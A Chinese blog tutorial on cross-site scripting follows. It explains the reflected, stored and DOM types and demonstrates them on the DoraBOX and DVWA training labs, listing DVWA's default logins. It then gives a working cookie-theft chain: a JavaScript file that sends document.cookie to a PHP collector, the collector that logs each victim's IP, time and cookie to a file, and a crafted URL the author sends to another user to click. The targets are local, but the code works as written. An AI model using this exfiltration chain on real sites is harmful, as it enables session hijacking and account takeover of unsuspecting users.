当前位置:   article > 正文

XSS基础及实战(XSS提取cookie并登录的)_xss获取cookie的payload

xss获取cookie的payload

该学新知识了!
本篇文章篇幅有点长,做了很多的本地攻击演示!
请耐心观看。

XSS基础

XSS的定义:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。

反射型XSS(非持久型XSS),攻击方式具有一次性。

攻击方式:攻击者通过包含XSS代码的恶意链接发送给受害者,当受害者访问该连接时,服务器接收该受害者用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给受害者用户的浏览器,浏览器解析这段包含XSS代码的恶意脚本,就会触发XSS漏洞然后完成攻击。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

攻击方式:多见与论坛,博客以及网站留言板。攻击者通过发帖,留言的方式,将恶意XSS脚本连同正常信息通过留言板提交到服务器内并被服务器存储下来,恶意XSS脚本也将保存在服务器中,当其他用户浏览帖子或者留言时,恶意XSS脚本会在他们的浏览器中执行。

DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

DOM型XSS是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

反射型XSS的利用

演示一(基于DoraBOX靶场)

在这里插入图片描述
一个正常的输入框,我们可以将自己的xss代码写在提交框里。

在这里插入图片描述
数据没有插入到后台,浏览器会把我插入的内容,当作可执行代码给我们返回来。

演示二(基于DVWA靶场)

登录的时候,没想起来账号,密码!但是有万能的

DVWA默认的用户有5个,用户名密码如下(一个足以):

admin/password

gordonb/abc123

1337/charley

pablo/letmein

smithy/password
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

登录进去,选择反射型XSS。

等级为:impossible

选择一个简单的payload:<script>alert(/xss/)</script>

在这里插入图片描述
输入任何xss代码,正常的输出,不会弹出我们想要的界面,这也让我很懵逼。

无奈查看了源码

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

发现了 htmlspecialchars() 函数,其主要作用就是把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &apos;
< (小于) 成为 &lt;
> (大于) 成为 &gt;
  • 1
  • 2
  • 3
  • 4
  • 5

我说怎么输入,都不会弹窗,而是直接输出,我输入的xss代码,经过htmlspecialchars() 函数的转换,被转换成非HTML可执行代码,所以impossible等级不存在XSS漏洞。

等级为:low
简单的演示

构造payload:<script>alert(/xss/)</script>

在这里插入图片描述
弹窗成功!

查看源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

以get方式传参,没有经过任何过滤,很明显存在XSS漏洞。

本地利用XSS获取cookie

工欲善其事,必先利其器。

直接上我们的工具!!!

hacker.js

var img = new Image();
img.src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.php?x=" + document.cookie;
document.body.append(img);
  • 1
  • 2
  • 3

hacker.php

<?php
$cookie = $_GET['x'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

构造我们的payload:http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.js" /></script>

将我们的URL发给另外一个用户,他点了一下。
并且输入自己的姓名。
在这里插入图片描述

他输入之后,我们这边就生成了一个cookie.txt文件,我们打开看一下

在这里插入图片描述
他的IP,登陆地址,还有cookie已经在我们这边了。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/150050
推荐阅读
相关标签